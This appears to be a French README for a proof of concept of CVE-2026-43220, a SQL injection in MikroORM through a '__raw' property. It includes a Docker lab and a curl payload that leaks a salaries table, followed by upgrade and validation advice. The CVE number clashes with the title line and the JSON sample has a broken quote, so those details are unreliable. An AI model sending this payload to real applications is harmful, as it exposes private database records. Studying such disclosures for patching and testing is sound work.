
CVE-2026-34220 — Mis à jour !
Vulnérabilité d'injection SQL dans MikroORM
CVE-2026-43220 Injection SQL dans MikroORM
★ PoC de l'injection SQL CVE-2026-43220 dans MikroORM ★
https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1
Vue d'ensemble
CVE-2026-43220 est une vulnérabilité d'injection SQL dans MikroORM, un framework ORM TypeScript/Node.js largement utilisé.
Lorsqu'une valeur fournie par l'utilisateur contenant une propriété__rawest transmise à une colonne de type personnalisé sans validation, la vérificationisRaw()de MikroORM l'identifie comme une expression SQL brute interne de confiance et insère la valeursqlcontrôlée par l'attaquant directement dans la requête générée, sans conversion de type ni assainissement, provoquant ainsi l'exécution non intentionnelle de SQL arbitraire.
Versions affectées
| Catégorie | Version |
|---|---|
| Vulnérable | MikroORM version ≤ 6.4.3 & 7.0.0 ≤ version ≤ 7.0.5 |
| Corrigée | MikroORM 6.4.4 & 7.0.6 |
Impact
- Exfiltration de données sensibles depuis la base de données sans autorisation
- Corruption ou modification non intentionnelle des enregistrements existants de la base de données
Environnement
docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln
PoC
Après avoir démarré l'environnement vulnérable, suivez les étapes ci-dessous pour reproduire l'attaque.
Étape 1. Envoyer une requête avec une charge utile malveillante contenant __raw
Envoyez un corps JSON incluant une propriété __raw ciblant une colonne de type personnalisé.
curl -X POST http://localhost:3000/write \
-H "Content-Type: application/json" \
-d '{
"author":"x",
"title":"x,
"content": {
"__raw": true,
"sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
}
}'
Étape 2. Vérifier la réponse HTTP
Vérifiez que l'API renvoie une réponse réussie sans aucune erreur, indiquant que MikroORM a accepté la charge utile malveillante comme une valeur valide.
Étape 3. Confirmer que les données sensibles sont exfiltrées dans le contenu de la publication
Vérifiez que le champ content de la publication créée contient le résultat de la requête
provenant de la table salaries (par exemple, Alice: 5000 / Bob: 7000 / ...),
confirmant que des données d'une table sans rapport ont été silencieusement intégrées
dans la réponse sans aucune erreur ni violation du contrôle d'accès.
Atténuation
- Mettre à niveau vers MikroORM 6.4.4 ou une version ultérieure, qui introduit une vérification d'origine dans
isRaw()pour rejeter les propriétés__rawfournies de l'extérieur - Appliquer une validation des entrées basée sur une liste blanche pour rejeter les propriétés inattendues telles que
__rawavant de transmettre les valeurs à la couche ORM